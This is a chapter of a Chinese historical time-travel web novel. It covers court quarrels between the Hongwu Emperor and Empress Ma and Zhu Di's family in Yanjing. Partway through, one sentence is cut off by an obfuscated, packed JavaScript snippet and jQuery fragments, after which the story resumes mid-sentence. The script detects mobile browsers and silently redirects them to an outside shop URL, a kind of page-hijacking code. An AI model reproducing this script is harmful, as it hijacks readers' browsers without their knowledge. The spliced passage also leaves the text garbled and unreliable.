21.第 21 章
作品:《穿越洪武,我是大明胖胖》 “你!你就是这么想咱的!妹子!”洪武皇帝气急败坏地大吼一声,“啪”一声摔碎茶几上的玉如意。
一声“妹子”,让马皇后从皇后和母亲的身份,变成妻子温婉体贴的样子,却是望着满地碎片目光凄苦。
“重八,你一直不喜欢老四,不管老四怎么表现,你都不喜欢他。现在你连他的孩子也不喜欢……”
“谁说咱不喜欢胖小子!”洪武皇帝怒吼,眼珠子都红了。
“你的喜欢,是让他五六岁离开父母来京师?你的喜欢,是一直压着仪鸾司不动真格儿去查老四媳妇早产的真相?你眼睁睁地看着老四以为胡惟庸是真凶……”
马皇后语气哽咽,说不下去。
这番话气得恨得洪武皇帝目眦尽裂,面容狰狞狠厉,却只能发出“你!你!”两个字。因为老妻伤心的模样,喘着粗气,暴躁地在屋里转圈圈克制怒火。
良久。
马皇后情绪稍稍缓和,目光直视他:“重八,今儿我们把话说清楚吧。”
洪武皇帝一转身赤红着脸咬牙跳脚喝问:“还说什么?你还有话没说?”
马皇后双目赤红,却丝毫不妥协:“调查老四媳妇早产一事,进展到哪里了?高炽到底几岁进京?”
“这是朝政,咱不能告诉你!妹子,你今天的话,咱就当没听过你说过!”说罢,洪武皇帝甩袖子就要走人。
马皇后望着他的背影,蓦然轻叹一声:“重八,你听过!”
“老四明明立了功,却受尽委屈离开京城,还要因陆仲亨的疯言疯语受累!玉英路上受凉,老四也不敢歇息。玉英到燕京养了一个月才好利索。”
“高炽多好的孩子,却天天吃苦汤汁子泡药浴,我每次想起来就心疼。可你明知道高炽每天要苦羹汤、泡药浴……你怎么忍心说出那句‘五六岁进京''的话?”
马皇后话语中的伤痛,让洪武皇帝的脚有千斤重。
他站在门槛前,收回抬起的脚,猛地回身。
愤怒的表情中露出几分慈爱。
“妹子,玉英模样可爱,将来必定是人人夸的姑娘。高炽这孩子更是不一样,雄英都没有他亲近人。”
“寻常孩子见了咱,要么害怕不敢抬头,说话打结。要么一板一眼跟修好的花盆景一样,多看一眼都碍眼,更别说亲近人了。也就雄英和咱亲近。”
“偏胖小子高炽天性不同,见了咱就亲近,跟咱耍小脾气,还能一下抓到咱特意藏在一屋子金银珠宝中的佛珠串儿……咱实在喜欢得很。”
马皇后一听上下打量他,确认他是真喜欢胖孙子:“重八,既然你说这话,今天你一定要完全说清楚了。”
“好!”洪武皇帝大步走回来,翘着胡子犯倔道:“咱就和你说清楚。”
“老大是太子,对着满朝文臣要维持体面仁义,只能是老四做恶人。”
“老大当太子,他的弟弟们认可,他们兄弟之间有感情,因为他们一起长大。咱喜欢高炽,想让高炽和雄英一起长大。”
马皇后瞳孔一缩。
“重八,你偏心太过了!”
“咱没偏心。妹子,咱不能将大明分成几分,他们兄弟一人一份。皇位给老大。老四自律,咱必须打压他。可咱也没想到高炽体弱还如此聪慧。父子两个处世得人心,你知道这意味着什么?”
马皇后听得脸色惨白,反应过来后气得浑身哆嗦:“重八!朱重八!你居然怀疑老四!高炽这么大点儿,你也怀疑?自律是错,聪慧是错!怪不得老二行为不良,你一直只做样子教训几句!老二行为不良倒是好的!”
洪武皇帝暴躁地屋里踱步跳着脚吼道:“咱是为了他们兄弟好!都是咱的血脉,咱都疼。”
“朱重八!”马皇后爆喝一声,拿起鸡毛掸子就抽:“你当皇帝当久了谁都怀疑,你还知道都是你的血脉?!”
洪武皇帝吓得边躲边跑:“你住手!你这婆娘!”
正在这时,朱标从外头匆忙跑进来行礼,一抬头见到父皇母后的样子,愣了一下,着急道:“父皇,母后,你们怎么打起来了?出了什么事情?”
“你别管。你说你的。”洪武皇帝一身火气。
马皇后放下鸡毛掸子,整理情绪,克制地问道:“我和你父皇在商议事情。你着急进来,有事吗?”
洪武皇帝:“对,我们在商议事情。小孩子别问父母的事。”
见父母恩爱默契的样子,朱标扯着嘴角想露出一个笑容,却失败了。
面对父母询问的眼神,他斟酌说道:“父皇,母后,吉安侯陆仲亨脸上伤还没好利索,现在跪在宫门口负荆请罪。”
洪武皇帝瞬间黑脸:“让他跪!”
马皇后冷声道:“他脾气暴躁,容易被朱亮祖等人鼓动。但是做错就是做错,让他跪。”
“儿臣知道了,儿臣告退……”
朱标抿着唇,似乎有很多话要说。但是父母看似和平时一样斗嘴吵架,其实很不对劲。这让他的忧虑增加,无法说出自己酝酿半个时辰的话。
从坤宁宫出来,听着里头压抑吵架的声音,眉心紧锁,面色凝重,没看见跪在地上等着他求情的宫女太监们。
他浑浑噩噩地走着,走到金水河边,望着流水,眼前浮现老师宋濂教导自己读书的样子。
老师已经退休在家颐养天年,今天却被儿孙牵扯进胡惟庸一案,自己该怎么给求情,父皇会答应自己吗?
*
燕京的夏天到来,没有了漫天遍野的沙尘暴,朱棣抽时间带着一家人出门游玩,去看居庸叠翠盛景。
站在建安寺最高处,远望如在云端。在居庸关上眺望中间山涧溪谷,两侧山势雄奇,翠嶂如屏,林木繁茂,景色幽美。
一家人尽兴而归,到家后收到洪武皇帝、马皇后、朱标的信件。
朱玉英累了,奶娘抱着去歇息。
朱高炽也累,但他硬赖在爹娘身边,抱着爹娘的小腿闹着:“我要听!我要听!”
朱棣笑着弯腰抱起来他:“你又听不懂……好好,爹念给你听。”
朱标信里说,洪武皇帝本打算调陆仲亨去广东接替朱亮祖,但考虑陆仲亨是被朱亮祖挑拨起来的,便派朱亮祖去镇守广东。还说胡案涉及到他老师宋濂,他很着急。
洪武皇帝的信里是训斥,安慰,哄玉英和高炽两个小孩开心的话,末尾说想念孙子们,等皇孙们稍长大,全部送去京师大本堂读书。
马皇后的信里一开始很高兴,夸他们孝顺,说他们送去的燕京特产好吃。末尾处写了一首苏轼的《洗儿戏作》。
朱棣沉着脸,用内力将马皇后的信件震成粉末。
徐妙云肃容嘱咐道:“高炽,千万不能说出去。”随即又失笑道:“你呀,这么大点儿,还什么也记不住呢。”
朱高炽在爹怀里笑容天真无邪:“娘,饿。”
“娘马上安排晚饭。”
徐妙云起身出去。
朱棣抱着胖儿子动作温柔,脸色却彻底阴沉下来。
好一个朱亮祖!
胡案扩大到宋濂一家!宋濂堪称一代文宗,还是父皇登基前就前来投奔的文坛领袖,教导太子多年,已经退休几年。
父皇在信里一边打迷糊,一边说想念孙子……朱棣不敢去细想。
母后信里前面开心,后面则是担心他警示他。他表现太好,引起怀疑了。怪不得二哥三哥告他的状,自己写信询问,父皇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213946|196471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、太子大哥和稀泥!
他低头看向胖儿子,胖儿子聪慧,也引起怀疑了。所以父皇之前说让胖儿子五六岁去京师。父皇当真不在乎自己这一脉的死活吗?
伸手摩挲儿子毛茸茸的脑袋,似乎是自言自语,似乎是发誓地说道:“高炽,将来你必然会去京师。但是爹一定不会让你五六岁去京师。”
朱高炽假装不懂,大眼睛天真无辜懵懂地望着老爹,轻唤一声:“爹!”
*
接下来几天,朱高炽有空就思考,怎么表现“愚且鲁”。
幸好一家人远在燕京,有点天高皇帝远的偷安。
八天后,朱标再次来信诉说痛苦。马皇后为了救宋濂一家人绝食生病,他担忧着急。可是几次跪求,洪武皇帝都不答应赦免宋濂一家。
朱棣和徐妙云着急万分,打包人参灵芝等等补品送去京师给马皇后。
朱玉英送上她抄写的佛经。
朱高炽见此机会,从自己的药材里拿出来一些,假装不懂事的顽童:“爹、娘,高炽送给皇奶奶吃。”
“我们高炽真孝顺。”徐妙云以为他小孩子心性,教导道:“但是高炽,吃药要对症,不能乱吃。”
朱高炽抱着爹的小腿硬是闹着:“高炽给皇奶奶!爹!娘!太医说吃了身体好,不生病。哇哇哇!皇奶奶吃药苦苦哇哇哇!”
朱棣见胖儿子哭,不由心里酸涩难忍:“好,爹答应你了。不哭不哭。”转头看向徐妙云:“王妃,高炽小不懂,但这是他一片心意。我写信告诉母后这是高炽的孝心,先给太医看。”
“王爷这主意好。”徐妙云亲自将儿子的药材单独打包。
朱高炽的哇哇声渐停。
见包袱快马加鞭送去京师,轻轻舒口气。
民间传说提到马皇后曾患“骑马痈”,太医戴思恭用特殊方法治愈。但后世大多数人考古认为,此事件与她的最终病逝无直接关联。
马皇后多年积劳成疾,病逝原因更可能是中风或者心疾。
但不管是“骑马痈”还是中风或者心疾,希望这些药材中的几味药,能引起太医们关注到这类病症,对症下药给马皇后调理身体,争取延长寿命。
马皇后乃是一代贤后,勤俭持家,爱护官员百姓,护着自己一家人。于公于私,他都想马皇后度过洪武十五年。
他有空的时候思考事情,再次习惯地转着佛珠。
*
马蹄子踢踢搭搭,张武领着侍卫们,快马加鞭日夜赶路赶来京师。
一到京师就派人去宫里请见,来到燕王府刚坐下来喝碗茶,就听管家说起他从宫里小太监处听来的,有关皇太子朱标的事。
“都是民间传说的消息,不知道真假。据说皇太子为了救老师宋先生,为了让皇后娘娘早日吃饭,和皇上大吵一架后,跳下金水河,以死相逼。”
“虽然被侍卫们快速救上来,但是皇上惊吓震怒之下,大大奖励第一批跳河的侍卫,杀了第二批脱了衣服才跳河的侍卫。”
“最近京师好多家偷偷办丧事,哭都不敢哭出声儿。”
“太子殿下虽然被及时救上来,可他这几个月本就过度劳累,郁结于心,跳河受了凉,又因为侍卫们的死自责,已经病倒好几天了。”
张武着急地问:“皇后娘娘呢?”
“皇后娘娘开始吃饭,但是病也没好。”
张武想说皇上怎么如此铁石心肠,猛地闭嘴。王爷嘱咐过,不能说朝堂之事。万一隔墙有耳呢?而这个管家乃是朝廷指派的,多年在京师呆着。张武不敢信。
张武当即写信给王爷,如实禀告。
第二天带着东西进宫,经过一关关检查和打点,将礼单送进去。

